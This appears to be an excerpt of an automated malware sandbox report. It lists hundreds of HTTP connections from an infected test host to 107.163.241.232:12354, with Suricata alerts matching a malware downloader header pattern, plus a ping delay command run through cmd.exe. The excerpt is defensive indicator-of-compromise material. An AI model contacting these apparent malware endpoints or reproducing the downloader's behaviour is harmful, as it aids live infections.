Source: unknown	Network traffic detected: HTTP traffic on port 63134 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63230 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65078 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65137 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50319 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50388 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51750 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51800 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53356 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54703 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54705 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56040 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56089 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57995 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58104 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58925 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59001 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60602 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60708 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62276 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62337 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64138 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64191 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49432 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49507 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50935 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51052 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52733 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52734 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54680 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54699 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55365 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55462 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56639 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56724 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58058 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58062 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58066 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58181 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59142 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59341 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59628 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60194 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60387 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60644 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60694 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60748 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60991 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61096 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61224 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61250 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61253 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61296 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61444 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61642 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63052 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63056 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63057 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63169 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63243 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64807 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64884 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64903 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64915 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49638 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51668 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51765 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51769 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51770 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51799 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52557 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52849 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53786 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53913 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53933 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54089 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54224 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54304 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55095 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55132 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55314 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56639 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56768 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56930 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57067 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57925 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58012 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58064 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58209 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58515 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58739 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58867 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59071 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59278 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59457 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59959 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60128 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60430 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61582 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61785 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61786 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61835 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63071 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63075 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63076 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63215 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64503 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64505 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64507 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64618 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64687 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64800 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64881 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64945 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65050 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65152 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65434 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65455 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49214 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49314 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49366 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49524 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51287 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51379 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52865 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52868 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52871 -> 12354

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2

Source: global traffic

TCP traffic: 192.168.2.5:49728 -> 107.163.241.232:12354

Source: Joe Sandbox View	IP Address: 202.108.0.52 202.108.0.52
Source: Joe Sandbox View	IP Address: 202.108.0.52 202.108.0.52

Source: Joe Sandbox View

ASN Name: TAKE2US TAKE2US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49760 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49801 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49798 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49814 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49764 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49766 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49842 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49891 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49888 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49816 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49846 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49728 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49745 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49932 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49783 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49867 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49746 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49780 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49966 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49782 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50014 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49983 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50087 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50113 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50036 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50085 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49985 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50034 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49729 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50011 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50167 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50115 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50165 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50189 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50192 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50065 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50137 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49916 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49870 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50223 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50246 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49959 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50062 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50299 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49914 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50337 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50135 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50374 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50371 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50304 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49938 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50412 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50239 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50415 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50447 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50452 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50268 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50502 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50497 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50536 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50539 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50590 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50640 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50340 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50714 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50219 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50851 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50276 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50841 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50776 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50945 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51069 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51063 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50772 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50644 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50594 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51154 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51166 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50708 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51291 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51301 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51414 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51401 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51533 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51548 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51649 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50952 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51788 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51639 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:51772 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52165 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52286 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54230 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54505 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56345 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56391 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58099 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59753 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58179 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:61004 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:60912 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:62581 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:57387 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63492 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65127 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59835 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52169 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:65033 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52676 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53566 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:54654 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:63454 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:53560 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:52266 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:56588 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:50256 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58950 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:57847 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:58774 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:57783 -> 107.163.241.232:12354
